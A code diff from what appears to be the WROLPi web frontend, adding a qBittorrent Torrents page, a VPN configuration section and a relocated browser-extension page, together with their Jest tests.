@ -190,6 +195,11 @@ describe('ControllerPage', () => {
});
});
test('renders the VPN section', async () => {
renderControllerPage();
expect(await screen.findByTestId('vpn-section')).toBeInTheDocument();
});
test('renders Hardware Controls section', async () => {
renderControllerPage();
await waitFor(() => {

View file

@ -36,7 +36,7 @@ export function ExtensionInstallSuggestion() {
tab. Open-source and not distributed via the official browser
stores.
</p>
<Button component={Link} to='/admin/extension' role='primary' size='xs'>
<Button component={Link} to='/extension' role='primary' size='xs'>
Open install page
</Button>
</Message>;

View file

@ -47,6 +47,7 @@ describe('ExtensionInstallSuggestion', () => {
{timeout: 1500},
);
expect(screen.getByText(/Open install page/i)).toBeInTheDocument();
expect(screen.getByText(/Open install page/i).closest('a')).toHaveAttribute('href', '/extension');
});
it('renders the install message on Firefox when the marker is absent', async () => {

View file

@ -1,6 +1,7 @@
import React from "react";
import {ActionInput, Button, Header, Message, Panel, Stack} from "../ui";
import {detectBrowser} from "./browserDetect";
import {PageContainer, useTitle} from "../Common";
// The WROLPi browser extension is distributed off-store: Chrome users
// sideload the unpacked .zip; Firefox users get a Mozilla-signed .xpi that
@ -184,3 +185,9 @@ export function ExtensionPage() {
</Stack>
</Stack>;
}
/** The page at /extension, linked from the navigation bar (it was an Admin tab; /admin/extension redirects here). */
export function ExtensionRoute() {
useTitle('Browser Extension');
return <PageContainer><ExtensionPage/></PageContainer>;
}

View file

@ -0,0 +1,344 @@
import React from 'react';
import {Link} from "react-router";
import {
getTorrents,
pauseTorrent,
removeTorrent,
resumeTorrent,
setTorrentShareLimits,
setTorrentSpeedLimits,
torrentFileUrl,
} from "../../api";
import {humanBandwidth, humanFileSize, useLocalStorage, useTitle} from "../Common";
import {
Button,
Checkbox,
Group,
Header,
IconButton,
Loader,
Message,
Modal,
NumberInput,
Panel,
Progress,
Status,
Table,
toast,
} from "../ui";
import {VPN_SETTINGS_PATH, vpnStates} from "./VpnSection";
const REFRESH_MS = 5000;
// qBittorrent's states, as a person would say them.
export const torrentStates = {
downloading: 'Downloading', forcedDL: 'Downloading', metaDL: 'Getting metadata', forcedMetaDL: 'Getting metadata',
stalledDL: 'Waiting for peers', queuedDL: 'Queued', checkingDL: 'Checking', allocating: 'Allocating',
uploading: 'Seeding', forcedUP: 'Seeding', stalledUP: 'Seeding', queuedUP: 'Queued', checkingUP: 'Checking',
stoppedDL: 'Paused', stoppedUP: 'Paused', checkingResumeData: 'Checking', moving: 'Moving',
error: 'Error', missingFiles: 'Files missing',
};
function connectionText(status) {
if (status === 'connected') {
return 'Peers can connect to this WROLPi';
}
if (status === 'firewalled') {
return 'Firewalled (no peer has connected in; port forwarding may be off)';
}
return null;
}
function SpeedLimitsModal({limits, open, onClose, onSaved}) {
const [upload, setUpload] = React.useState(limits.upload || 0);
const [download, setDownload] = React.useState(limits.download || 0);
const [saving, setSaving] = React.useState(false);
React.useEffect(() => {
setUpload(limits.upload || 0);
setDownload(limits.download || 0);
}, [limits.upload, limits.download, open]);
const save = async () => {
setSaving(true);
try {
await setTorrentSpeedLimits(upload || 0, download || 0);
onSaved();
onClose();
} catch (e) {
toast({type: 'error', title: 'Speed limits', description: e.message, time: 5000});
} finally {
setSaving(false);
}
};
return <Modal size='small' open={open} onClose={onClose} closeIcon>
<Modal.Header>Torrent Speed Limits</Modal.Header>
<Modal.Content>
<p>The total for all torrents, in KiB/s. 0 is unlimited. Limit uploads to keep this network usable while
seeding.</p>
<Group grow>
<NumberInput label='Upload (KiB/s)' min={0} value={upload} onChange={v => setUpload(Number(v) || 0)}/>
<NumberInput label='Download (KiB/s)' min={0} value={download}
onChange={v => setDownload(Number(v) || 0)}/>
</Group>
</Modal.Content>
<Modal.Actions>
<Button role='cancel' onClick={onClose}>Cancel</Button>
<Button role='save' loading={saving} onClick={save}>Save</Button>
</Modal.Actions>
</Modal>;
}
// Seeding time is saved in minutes, and edited in hours (to 2 decimals, so every whole minute comes back the same).
const minutesToHours = (minutes) => minutes == null ? '' : Math.round(minutes / 60 * 100) / 100;
function ShareLimitsModal({torrent, onClose, onSaved}) {
const [ratio, setRatio] = React.useState(torrent.seed_ratio_limit ?? '');
const savedHours = minutesToHours(torrent.seed_time_limit);
const [hours, setHours] = React.useState(savedHours);
const [saving, setSaving] = React.useState(false);
const save = async () => {
setSaving(true);
try {
let minutes = hours === '' ? null : Math.round(Number(hours) * 60);
if (hours === savedHours) {
// Unchanged: what was saved, exactly.
minutes = torrent.seed_time_limit ?? null;
}
await setTorrentShareLimits(torrent.hash, ratio === '' ? null : Number(ratio), minutes);
onSaved();
onClose();
} catch (e) {
toast({type: 'error', title: 'Seeding limits', description: e.message, time: 5000});
} finally {
setSaving(false);
}
};
return <Modal size='small' open onClose={onClose} closeIcon>
<Modal.Header>Stop Seeding {torrent.name}</Modal.Header>
<Modal.Content>
<p>Stop seeding once either is reached. Leave empty to seed forever.</p>
<Group grow>
<NumberInput label='At ratio (uploaded ÷ size)' min={0} step={0.1} decimalScale={2} value={ratio}
onChange={setRatio}/>
<NumberInput label='After hours seeding' min={0} decimalScale={2} value={hours} onChange={setHours}/>
</Group>
</Modal.Content>
<Modal.Actions>
<Button role='cancel' onClick={onClose}>Cancel</Button>
<Button role='save' loading={saving} onClick={save}>Save</Button>
</Modal.Actions>
</Modal>;
}
function RemoveModal({torrent, onClose, onRemoved}) {
const [deleteFiles, setDeleteFiles] = React.useState(false);
const [removing, setRemoving] = React.useState(false);
const remove = async () => {
setRemoving(true);
try {
await removeTorrent(torrent.hash, deleteFiles);
onRemoved();
onClose();
} catch (e) {
toast({type: 'error', title: 'Remove torrent', description: e.message, time: 5000});
} finally {
setRemoving(false);
}
};
return <Modal size='small' open onClose={onClose} closeIcon>
<Modal.Header>Remove {torrent.name}</Modal.Header>
<Modal.Content>
<p>Stop downloading and seeding this torrent. Its files stay in the library unless you choose otherwise.</p>
<Checkbox label='Also delete its files' checked={deleteFiles}
onChange={e => setDeleteFiles(e.currentTarget.checked)}/>
</Modal.Content>
<Modal.Actions>
<Button role='cancel' onClick={onClose}>Cancel</Button>
<Button role='danger' loading={removing} onClick={remove}>
{deleteFiles ? 'Remove and Delete Files' : 'Remove'}
</Button>
</Modal.Actions>
</Modal>;
}
function TorrentRow({torrent, navColor, onChange}) {
const [modal, setModal] = React.useState(null);
const [busy, setBusy] = React.useState(false);
const togglePaused = async () => {
setBusy(true);
try {
await (torrent.paused ? resumeTorrent(torrent.hash) : pauseTorrent(torrent.hash));
onChange();
} catch (e) {
toast({type: 'error', title: torrent.paused ? 'Resume torrent' : 'Pause torrent', description: e.message,
time: 5000});
} finally {
setBusy(false);
}
};
const copyMagnet = async () => {
try {
await navigator.clipboard.writeText(torrent.magnet);
toast({type: 'success', title: 'Magnet link copied', time: 2000});
} catch (e) {
toast({type: 'error', title: 'Could not copy the magnet link', description: torrent.magnet, time: 8000});
}
};
const downloading = torrent.progress < 1;
const speed = downloading ? torrent.download_speed : torrent.upload_speed;
const speedText = speed ? ` ${downloading ? '▼' : '▲'} ${humanBandwidth(speed)}` : '';
return <Table.Row>
<Table.Cell className='column-ellipsis'>
{torrent.name}
<div style={{opacity: 0.7, fontSize: '0.85em'}}>{torrent.save_path}</div>
</Table.Cell>
<Table.Cell>{humanFileSize(torrent.size)}</Table.Cell>
<Table.Cell style={{minWidth: '8em'}}>
<Progress percent={Math.round((torrent.progress || 0) * 1000) / 10} color={navColor}
label={`${Math.floor((torrent.progress || 0) * 100)}%${downloading && torrent.eta ? ` · ${torrent.eta}` : ''}`}/>
</Table.Cell>
<Table.Cell>{(torrent.ratio || 0).toFixed(2)}</Table.Cell>
<Table.Cell>{torrent.seeds ?? 0} / {torrent.peers ?? 0}</Table.Cell>
<Table.Cell>{torrentStates[torrent.state] || torrent.state}{speedText}</Table.Cell>
<Table.Cell>
{/* Two rows of actions keep the table from scrolling sideways on narrower screens. */}
<Group gap={4} wrap='wrap' style={{width: '8.5em'}}>
<IconButton icon={torrent.paused ? 'play' : 'pause'} label={torrent.paused ? 'Resume' : 'Pause'}
disabled={busy || !torrent.managed} onClick={togglePaused}/>
<IconButton icon='magnet' label='Copy magnet link' disabled={!torrent.magnet} onClick={copyMagnet}/>
<IconButton icon='download' label='Download .torrent file' disabled={!torrent.managed}
component='a' href={torrentFileUrl(torrent.hash)}/>
<IconButton icon='clock' label='Seeding limits' disabled={!torrent.managed}
onClick={() => setModal('limits')}/>
<IconButton icon='trash' label='Remove' color='danger' disabled={!torrent.managed}
onClick={() => setModal('remove')}/>
</Group>
{modal === 'limits' && <ShareLimitsModal torrent={torrent} onClose={() => setModal(null)} onSaved={onChange}/>}
{modal === 'remove' && <RemoveModal torrent={torrent} onClose={() => setModal(null)} onRemoved={onChange}/>}
</Table.Cell>
</Table.Row>;
}
export function TorrentsPage() {
useTitle('Torrents');
const [status, setStatus] = React.useState(null);
const [error, setError] = React.useState(null);
const [limitsOpen, setLimitsOpen] = React.useState(false);
const [navColor] = useLocalStorage('nav_color', 'violet');
// Only the newest request may be shown; an older one can answer last.
const generation = React.useRef(0);
const fetchTorrents = React.useCallback(async () => {
const current = ++generation.current;
try {
const newStatus = await getTorrents();
if (current === generation.current) {
setStatus(newStatus);
setError(null);
}
} catch (e) {
if (current === generation.current) {
setError(e.message);
}
}
}, []);
React.useEffect(() => {
fetchTorrents();
const interval = setInterval(fetchTorrents, REFRESH_MS);
return () => {
generation.current++;
clearInterval(interval);
};
}, [fetchTorrents]);
if (!status) {
return <Panel>
<Header as='h3' icon='share'>Torrents</Header>
{error ? <Message kind='error'>{error}</Message> : <Loader/>}
</Panel>;
}
// After a failed refresh, the last VPN state is not presented as current.
const vpn = error ? {} : (status.vpn || {});
const vpnState = error ? {label: 'Unknown', kind: 'pending'} : (vpnStates[vpn.state] || vpnStates.stopped);
const vpnConnected = vpn.state === 'connected';
const limits = status.limits || {};
const webUiUrl = `https://${window.location.hostname}:8091`;
const torrents = status.torrents || [];
return <div className='wrolpi-stack'>
<Panel>
<Header as='h3' icon='share'>Torrents</Header>
<p data-testid='torrents-vpn'>
VPN: <Status kind={vpnState.kind}>{vpnState.label}</Status>
{vpn.public_ip && <> · Peers see <b>{vpn.public_ip}</b></>}
{vpn.forwarded_port && <> · Port <b>{vpn.forwarded_port}</b></>}
{' · '}<Link to={VPN_SETTINGS_PATH}>VPN settings</Link>
</p>
{error && <Message kind='error' title='Could not refresh torrents'>
{error}. What is shown may be out of date.
</Message>}
{!error && vpn.state === 'wrol_mode' && <Message kind='warning'>
Torrents are stopped: WROL Mode is on. They start again when WROL Mode is turned off.
</Message>}
{!error && !vpnConnected && vpn.state !== 'wrol_mode' && <Message kind='warning'>
Torrents only use the VPN, so they are stopped until it connects.
</Message>}
{!status.running && <Message kind='error' title='qBittorrent is not running'>{status.error}</Message>}
{status.running && <p data-testid='torrents-transfer'>
{/* qBittorrent's own connection flag is not the VPN: peers reach it only through a connected VPN. */}
{vpnConnected && connectionText(status.connection_status)}
{vpnConnected && connectionText(status.connection_status) && ' · '}
▲ {humanBandwidth(status.upload_speed || 0)} ▼ {humanBandwidth(status.download_speed || 0)}
{' · '}Limits: ▲ {limits.upload ? `${limits.upload} KiB/s` : 'unlimited'}
{' '}▼ {limits.download ? `${limits.download} KiB/s` : 'unlimited'}
</p>}
<Group gap='sm'>
<Button role='cancel' icon='tachometer alternate' onClick={() => setLimitsOpen(true)}>
Speed Limits
</Button>
<Button role='cancel' icon='external' component='a' href={webUiUrl} target='_blank'
rel='noopener noreferrer'>qBittorrent WebUI</Button>
</Group>
<SpeedLimitsModal limits={limits} open={limitsOpen} onClose={() => setLimitsOpen(false)}
onSaved={fetchTorrents}/>
</Panel>
<Panel>
{!status.running
? <p>The torrents cannot be shown while qBittorrent is not running.</p>
: torrents.length === 0
? <p>No torrents yet. Add one from the <Link to='/'>Download menu</Link>.</p>
: <Table>
<Table.Header>
<Table.Row>
<Table.HeaderCell>Name</Table.HeaderCell>
<Table.HeaderCell>Size</Table.HeaderCell>
<Table.HeaderCell>Progress</Table.HeaderCell>
<Table.HeaderCell>Ratio</Table.HeaderCell>
<Table.HeaderCell>Seeds / Peers</Table.HeaderCell>
<Table.HeaderCell>State</Table.HeaderCell>
<Table.HeaderCell/>
</Table.Row>
</Table.Header>
<Table.Body>
{torrents.map(t => <TorrentRow key={t.hash} torrent={t} navColor={navColor}
onChange={fetchTorrents}/>)}
</Table.Body>
</Table>}
</Panel>
</div>;
}
export default TorrentsPage;

View file

@ -0,0 +1,194 @@
import React from 'react';
import {act, fireEvent, screen, waitFor, within} from '@testing-library/react';
import {render} from '../../test-utils';
import {TorrentsPage} from './Torrents';
import {
getTorrents,
pauseTorrent,
removeTorrent,
resumeTorrent,
setTorrentShareLimits,
setTorrentSpeedLimits,
} from '../../api';
jest.mock('../../api', () => ({
...jest.requireActual('../../api'),
getTorrents: jest.fn(),
pauseTorrent: jest.fn().mockResolvedValue(null),
resumeTorrent: jest.fn().mockResolvedValue(null),
removeTorrent: jest.fn().mockResolvedValue(null),
setTorrentShareLimits: jest.fn().mockResolvedValue(null),
setTorrentSpeedLimits: jest.fn().mockResolvedValue(null),
}));
jest.mock('../ui', () => ({
...jest.requireActual('../ui'),
toast: jest.fn(),
}));
const HASH = 'a'.repeat(40);
const planet = {
hash: HASH, name: 'planet.pmtiles', size: 125 * 1024 ** 3, progress: 1, state: 'stalledUP', ratio: 3.25,
upload_speed: 2048, download_speed: 0, eta: null, peers: 4, seeds: 0, save_path: 'maps', managed: true,
paused: false, seed_ratio_limit: null, seed_time_limit: null, magnet: `magnet:?xt=urn:btih:${HASH}`,
};
const status = (overrides = {}) => ({
running: true, error: null, connection_status: 'connected', upload_speed: 2048, download_speed: 0,
limits: {upload: 0, download: 0},
vpn: {state: 'connected', public_ip: '203.0.113.99', forwarded_port: 36523},
torrents: [planet],
...overrides,
});
describe('TorrentsPage', () => {
beforeEach(() => {
jest.clearAllMocks();
getTorrents.mockResolvedValue(status());
});
test('shows the VPN, connectability, and each torrent', async () => {
render(<TorrentsPage/>);
expect(await screen.findByText('planet.pmtiles')).toBeInTheDocument();
// Where the VPN is set up, even while it is connected.
expect(screen.getByText('VPN settings').closest('a')).toHaveAttribute('href', '/admin/controller#vpn');
const vpn = screen.getByTestId('torrents-vpn');
expect(vpn).toHaveTextContent('Connected');
expect(vpn).toHaveTextContent('Peers see 203.0.113.99');
expect(vpn).toHaveTextContent('Port 36523');
expect(screen.getByTestId('torrents-transfer')).toHaveTextContent('Peers can connect to this WROLPi');
expect(screen.getByText(/Seeding/)).toBeInTheDocument();
expect(screen.getByText('3.25')).toBeInTheDocument();
});
test('says torrents are stopped while the VPN is down', async () => {
getTorrents.mockResolvedValue(status({vpn: {state: 'error', error: 'wg setconf failed'}}));
render(<TorrentsPage/>);
expect(await screen.findByText(/stopped until it connects/)).toBeInTheDocument();
expect(screen.getByText('VPN settings')).toBeInTheDocument();
});
test('says when qBittorrent is not running', async () => {
getTorrents.mockResolvedValue(status({running: false, error: 'Cannot reach qBittorrent', torrents: []}));
render(<TorrentsPage/>);
expect(await screen.findByText('qBittorrent is not running')).toBeInTheDocument();
// Its torrents are still in the config; the list is unknown, not empty.
expect(screen.queryByText(/No torrents yet/)).not.toBeInTheDocument();
expect(screen.getByText(/cannot be shown while qBittorrent is not running/)).toBeInTheDocument();
});
test('says there are no torrents only when qBittorrent says so', async () => {
getTorrents.mockResolvedValue(status({torrents: []}));
render(<TorrentsPage/>);
expect(await screen.findByText(/No torrents yet/)).toBeInTheDocument();
});
test('peers cannot connect while the VPN is down', async () => {
// qBittorrent's own flag is not the VPN.
getTorrents.mockResolvedValue(status({vpn: {state: 'stopped'}}));
render(<TorrentsPage/>);
await screen.findByText('planet.pmtiles');
expect(screen.getByTestId('torrents-transfer')).not.toHaveTextContent('Peers can connect');
});
test('WROL Mode is named, not "until it connects"', async () => {
getTorrents.mockResolvedValue(status({vpn: {state: 'wrol_mode'}}));
render(<TorrentsPage/>);
expect(await screen.findByText(/Torrents are stopped: WROL Mode is on/)).toBeInTheDocument();
expect(screen.queryByText(/until it connects/)).not.toBeInTheDocument();
});
test('a failed refresh is shown, and the last VPN state is not presented as current', async () => {
jest.useFakeTimers();
try {
render(<TorrentsPage/>);
await waitFor(() => expect(screen.getByTestId('torrents-vpn')).toHaveTextContent('Connected'));
getTorrents.mockRejectedValue(new Error('The API is not responding'));
await act(async () => {
jest.advanceTimersByTime(5000);
});
expect(await screen.findByText(/The API is not responding/)).toBeInTheDocument();
expect(screen.getByTestId('torrents-vpn')).not.toHaveTextContent('Connected');
expect(screen.getByTestId('torrents-vpn')).toHaveTextContent('Unknown');
} finally {
jest.useRealTimers();
}
});
test('an older response does not replace a newer one', async () => {
jest.useFakeTimers();
try {
const resolvers = [];
getTorrents.mockImplementation(() => new Promise(resolve => resolvers.push(resolve)));
render(<TorrentsPage/>);
await waitFor(() => expect(resolvers.length).toBe(1));
await act(async () => {
jest.advanceTimersByTime(5000);
});
await waitFor(() => expect(resolvers.length).toBe(2));
await act(async () => {
resolvers[1](status());
});
await act(async () => {
resolvers[0](status({vpn: {state: 'error'}}));
});
expect(screen.getByTestId('torrents-vpn')).toHaveTextContent('Connected');
} finally {
jest.useRealTimers();
}
});
test('pause and resume', async () => {
render(<TorrentsPage/>);
const pause = await screen.findByLabelText('Pause');
// What the server reports once it is paused; the page fetches again after acting.
getTorrents.mockResolvedValue(status({torrents: [{...planet, paused: true, state: 'stoppedUP'}]}));
fireEvent.click(pause);
await waitFor(() => expect(pauseTorrent).toHaveBeenCalledWith(HASH));
fireEvent.click(await screen.findByLabelText('Resume'));
await waitFor(() => expect(resumeTorrent).toHaveBeenCalledWith(HASH));
});
test('removing keeps the files unless asked', async () => {
render(<TorrentsPage/>);
fireEvent.click(await screen.findByLabelText('Remove'));
let dialog = await screen.findByRole('dialog');
fireEvent.click(within(dialog).getByText('Remove'));
await waitFor(() => expect(removeTorrent).toHaveBeenCalledWith(HASH, false));
fireEvent.click(await screen.findByLabelText('Remove'));
dialog = await screen.findByRole('dialog');
fireEvent.click(within(dialog).getByLabelText('Also delete its files'));
fireEvent.click(within(dialog).getByText('Remove and Delete Files'));
await waitFor(() => expect(removeTorrent).toHaveBeenCalledWith(HASH, true));
});
test('seeding limits', async () => {
render(<TorrentsPage/>);
fireEvent.click(await screen.findByLabelText('Seeding limits'));
const dialog = await screen.findByRole('dialog');
fireEvent.change(within(dialog).getByLabelText('At ratio (uploaded ÷ size)'), {target: {value: '2'}});
fireEvent.change(within(dialog).getByLabelText('After hours seeding'), {target: {value: '24'}});
fireEvent.click(within(dialog).getByText('Save'));
await waitFor(() => expect(setTorrentShareLimits).toHaveBeenCalledWith(HASH, 2, 1440));
});
test('seeding hours keep what was saved', async () => {
// 90 minutes is 1.5 hours, not 2; saving without a change keeps 90.
getTorrents.mockResolvedValue(status({torrents: [{...planet, seed_time_limit: 90}]}));
render(<TorrentsPage/>);
fireEvent.click(await screen.findByLabelText('Seeding limits'));
const dialog = await screen.findByRole('dialog');
expect(within(dialog).getByLabelText('After hours seeding')).toHaveValue('1.5');
fireEvent.click(within(dialog).getByText('Save'));
await waitFor(() => expect(setTorrentShareLimits).toHaveBeenCalledWith(HASH, null, 90));
});
test('speed limits', async () => {
render(<TorrentsPage/>);
fireEvent.click(await screen.findByText('Speed Limits'));
const dialog = await screen.findByRole('dialog');
fireEvent.change(within(dialog).getByLabelText('Upload (KiB/s)'), {target: {value: '500'}});
fireEvent.click(within(dialog).getByText('Save'));
await waitFor(() => expect(setTorrentSpeedLimits).toHaveBeenCalledWith(500, 0));
});
});

View file

@ -0,0 +1,291 @@
import React from 'react';
import {Link, useLocation} from "react-router";
import {Button, Checkbox, Confirm, Group, Header, Message, Panel, Select, Status, TextInput, toast} from "../ui";
import {
deleteVpnConfig,
getVpnSettings,
getVpnStatus,
saveVpnAuth,
updateVpnSettings,
uploadVpnConfig,
} from "../../api/controller";
// The tunnel reports one of these states; torrents only reach the Internet while connected.
export const vpnStates = {
connected: {label: 'Connected', kind: 'complete'},
connecting: {label: 'Connecting', kind: 'active'},
waiting: {label: 'Waiting', kind: 'pending'},
disabled: {label: 'Off', kind: 'pending'},
wrol_mode: {label: 'Off (WROL Mode)', kind: 'pending'},
stopped: {label: 'Not running', kind: 'pending'},
error: {label: 'Error', kind: 'failed'},
};
const kindLabels = {wireguard: 'WireGuard', openvpn: 'OpenVPN'};
const portForwardingOptions = [
{value: 'none', label: 'None (download only; seed to peers who accept connections)'},
{value: 'fixed', label: 'A port my VPN provider forwards to me'},
{value: 'natpmp', label: 'Ask the VPN for a port (NAT-PMP, e.g. Proton P2P servers)'},
];
const STATUS_INTERVAL_MS = 10000;
// Links to the VPN settings (e.g. from the Torrents page) land on this section of the Control page.
export const VPN_SETTINGS_PATH = '/admin/controller#vpn';
// Says the VPN's state could not be loaded, rather than nothing (which reads as all is well).
export function VpnStateUnknown() {
return <Message kind='warning' title='The VPN state is unknown'>
It could not be loaded. Torrents only use the VPN, and stay stopped until it connects.{' '}
<Link to={VPN_SETTINGS_PATH}>VPN settings</Link>
</Message>;
}
export function VpnSection() {
const [settings, setSettings] = React.useState(null);
const [settingsError, setSettingsError] = React.useState(null);
const [status, setStatus] = React.useState(null);
const [form, setForm] = React.useState({port_forwarding: 'none', forwarded_port: ''});
const [login, setLogin] = React.useState({username: '', password: ''});
const [saving, setSaving] = React.useState(false);
const [deleteOpen, setDeleteOpen] = React.useState(false);
// A config chosen to replace the saved one, until the replacement is confirmed.
const [replacement, setReplacement] = React.useState(null);
const [turnOffOpen, setTurnOffOpen] = React.useState(false);
// Only the newest status request may be shown; an older one can answer last.
const statusGeneration = React.useRef(0);
const fileInput = React.useRef(null);
const sectionRef = React.useRef(null);
const {hash} = useLocation();
const applySettings = (newSettings) => {
setSettings(newSettings);
setForm({
port_forwarding: newSettings.port_forwarding || 'none',
forwarded_port: newSettings.forwarded_port ? String(newSettings.forwarded_port) : '',
});
};
React.useEffect(() => {
getVpnSettings()
.then(newSettings => {
setSettingsError(null);
applySettings(newSettings);
})
.catch(e => {
console.error('Failed to fetch VPN settings', e);
setSettingsError(e.message || String(e));
});
}, []);
const fetchStatus = React.useCallback(async () => {
const generation = ++statusGeneration.current;
try {
const newStatus = await getVpnStatus();
if (generation === statusGeneration.current) {
setStatus(newStatus);
}
} catch (e) {
console.error('Failed to fetch VPN status', e);
}
}, []);
// Linked to as /admin/controller#vpn. Scrolled to again once the settings arrive, as the sections above load and
// move this one down.
React.useEffect(() => {
if (hash === '#vpn' && sectionRef.current && sectionRef.current.scrollIntoView) {
sectionRef.current.scrollIntoView({block: 'start'});
}
}, [hash, settings]);
React.useEffect(() => {
fetchStatus();
const interval = setInterval(fetchStatus, STATUS_INTERVAL_MS);
return () => {
// Nothing answering after this is shown.
statusGeneration.current++;
clearInterval(interval);
};
}, [fetchStatus]);
// Returns whether the change was saved.
const run = async (action, successTitle) => {
setSaving(true);
try {
applySettings(await action());
if (successTitle) {
toast({type: 'success', title: successTitle, time: 3000});
}
} catch (e) {
toast({type: 'error', title: 'VPN', description: e.message, time: 6000});
return false;
} finally {
setSaving(false);
}
await fetchStatus();
return true;
};
const handleFile = async (event) => {
const file = event.target.files && event.target.files[0];
event.target.value = '';
if (!file) {
return;
}
const content = await file.text();
if (settings && settings.kind) {
// Replacing the key the torrents depend on is confirmed first.
setReplacement({name: file.name, content});
return;
}
await run(() => uploadVpnConfig(file.name, content), 'VPN config saved');
};
const handleReplace = () => {
const {name, content} = replacement;
setReplacement(null);
return run(() => uploadVpnConfig(name, content), 'VPN config saved');
};
const handleSave = () => run(() => updateVpnSettings({
port_forwarding: form.port_forwarding,
forwarded_port: form.port_forwarding === 'fixed' && form.forwarded_port
? parseInt(form.forwarded_port, 10) : null,
}), 'VPN settings saved');
const handleEnabled = (enabled) => {
if (!enabled) {
// Turning off stops torrents; confirmed first. Turning on is one click.
setTurnOffOpen(true);
return;
}
return run(() => updateVpnSettings({enabled}));
};
const handleTurnOff = () => {
setTurnOffOpen(false);
return run(() => updateVpnSettings({enabled: false}));
};
const handleLogin = async () => {
if (await run(() => saveVpnAuth(login.username, login.password), 'VPN login saved')) {
setLogin({username: '', password: ''});
}
};
const handleDelete = () => {
setDeleteOpen(false);
return run(deleteVpnConfig, 'VPN config removed');
};
const state = vpnStates[status && status.state] || vpnStates.stopped;
const hasConfig = settings && settings.kind;
// Nothing is saved until the saved settings are known (the form's placeholder would overwrite them).
const loaded = settings !== null;
return <div id='vpn' ref={sectionRef}><Panel>
<Header as='h3' icon='lock'>VPN</Header>
<p style={{marginTop: 0}}>
Torrents only use this VPN, so peers never see this WROLPi's own address. When the VPN is down,
torrents stop; they never fall back to this WROLPi's own Internet connection.
</p>
{status && <p data-testid='vpn-status'>
<Status kind={state.kind}>{state.label}</Status>
{status.public_ip && <> · Peers see <b>{status.public_ip}</b></>}
{status.forwarded_port && <> · Port <b>{status.forwarded_port}</b></>}
</p>}
{status && status.error && <Message kind='warning'>{status.error}</Message>}
{status && (status.warnings || []).map(warning => <Message key={warning} kind='warning'>{warning}</Message>)}
{settingsError && <Message kind='error' title='Could not load the VPN settings'>{settingsError}</Message>}
<p>
{hasConfig
? <>Config: <b>{kindLabels[settings.kind]}</b> to {settings.servers.join(', ')}</>
: 'Upload the WireGuard (.conf) or OpenVPN (.ovpn) file from your VPN provider.'}
</p>
<input ref={fileInput} type='file' accept='.conf,.ovpn' style={{display: 'none'}}
data-testid='vpn-config-file' onChange={handleFile}/>
<div className='wrolpi-button-row'>
<Button role='primary' loading={saving} disabled={!loaded}
onClick={() => fileInput.current && fileInput.current.click()}>
{hasConfig ? 'Replace VPN Config' : 'Upload VPN Config'}
</Button>
{hasConfig && <Button role='danger' disabled={saving} onClick={() => setDeleteOpen(true)}>Remove</Button>}
</div>
{settings && settings.needs_auth && <>
<p>This OpenVPN config needs your VPN login{settings.has_auth ? ' (saved)' : ''}.</p>
<Group grow align='flex-start'>
<TextInput label='VPN Username' value={login.username} disabled={saving}
onChange={e => setLogin({...login, username: e.target.value})}/>
<TextInput label='VPN Password' type='password' value={login.password} disabled={saving}
onChange={e => setLogin({...login, password: e.target.value})}/>
</Group>
<Button mt='sm' role='save' disabled={saving || !login.username || !login.password}
onClick={handleLogin}>Save Login</Button>
</>}
<Group grow align='flex-start' mt='md'>
<Select
label='Port forwarding'
data={portForwardingOptions}
value={form.port_forwarding}
disabled={saving || !loaded}
allowDeselect={false}
onChange={value => value && setForm({...form, port_forwarding: value})}
/>
{form.port_forwarding === 'fixed' && <TextInput
label='Forwarded port'
inputMode='numeric'
value={form.forwarded_port}
disabled={saving}
onChange={e => setForm({...form, forwarded_port: e.target.value.replace(/\D/g, '')})}
/>}
</Group>
<Button mt='sm' role='save' loading={saving} disabled={!loaded} onClick={handleSave}>Save</Button>
<Checkbox
mt='md'
label='Turn on the VPN'
description='Torrents can only reach the Internet while the VPN is connected'
checked={!!(settings && settings.enabled)}
disabled={saving || !hasConfig}
onChange={e => handleEnabled(e.currentTarget.checked)}
/>
<Confirm
open={deleteOpen}
title='Remove VPN Config'
confirmLabel='Remove'
destructive
onCancel={() => setDeleteOpen(false)}
onConfirm={handleDelete}
>
Remove the VPN config and login, and turn the VPN off? Torrents will stop until a new config is uploaded.
</Confirm>
<Confirm
open={!!replacement}
title='Replace VPN Config'
confirmLabel='Replace'
destructive
onCancel={() => setReplacement(null)}
onConfirm={handleReplace}
>
Replace the VPN config with <b>{replacement && replacement.name}</b>? The current key is deleted and the
tunnel uses this file.
</Confirm>
<Confirm
open={turnOffOpen}
title='Turn VPN Off'
confirmLabel='Turn Off'
destructive
onCancel={() => setTurnOffOpen(false)}
onConfirm={handleTurnOff}
>
Turn the VPN off? Torrents stop until it is turned back on.
</Confirm>
</Panel></div>;
}
export default VpnSection;

View file

@ -0,0 +1,297 @@
import React from 'react';
import {act, fireEvent, render, screen, waitFor, within} from '@testing-library/react';
import {MantineProvider} from '@mantine/core';
import {MemoryRouter} from 'react-router';
import {cssVariablesResolver, mantineTheme} from '../../themes/mantine';
import {VpnSection} from './VpnSection';
import {
deleteVpnConfig,
getVpnSettings,
getVpnStatus,
saveVpnAuth,
updateVpnSettings,
uploadVpnConfig,
} from '../../api/controller';
import {toast} from '../ui';
jest.mock('../../api/controller', () => ({
getVpnSettings: jest.fn(),
getVpnStatus: jest.fn(),
updateVpnSettings: jest.fn(),
uploadVpnConfig: jest.fn(),
deleteVpnConfig: jest.fn(),
saveVpnAuth: jest.fn(),
}));
// Toasts render through Mantine notifications, which the test providers do not include.
jest.mock('../ui', () => ({
...jest.requireActual('../ui'),
toast: jest.fn(),
}));
const noConfig = {
enabled: false, kind: null, servers: [], needs_auth: false, has_auth: false,
port_forwarding: 'none', forwarded_port: null, public_ip_url: 'https://api.ipify.org',
};
const wireguard = {...noConfig, kind: 'wireguard', servers: ['vpn.example.com']};
const openvpn = {...noConfig, kind: 'openvpn', servers: ['198.51.100.7'], needs_auth: true};
const stopped = {enabled: false, state: 'stopped', port_forwarding: 'none', warnings: []};
const renderSection = (route = '/admin/controller') => render(
<MemoryRouter initialEntries={[route]}>
<MantineProvider theme={mantineTheme} cssVariablesResolver={cssVariablesResolver}>
<VpnSection/>
</MantineProvider>
</MemoryRouter>
);
describe('VpnSection', () => {
beforeEach(() => {
jest.clearAllMocks();
getVpnSettings.mockResolvedValue(noConfig);
getVpnStatus.mockResolvedValue(stopped);
});
test('says torrents stop when the VPN is down', async () => {
renderSection();
expect(await screen.findByText(/never fall back/)).toBeInTheDocument();
expect(await screen.findByText('Upload VPN Config')).toBeInTheDocument();
// Nothing to turn on until a config is uploaded.
expect(screen.getByLabelText('Turn on the VPN')).toBeDisabled();
});
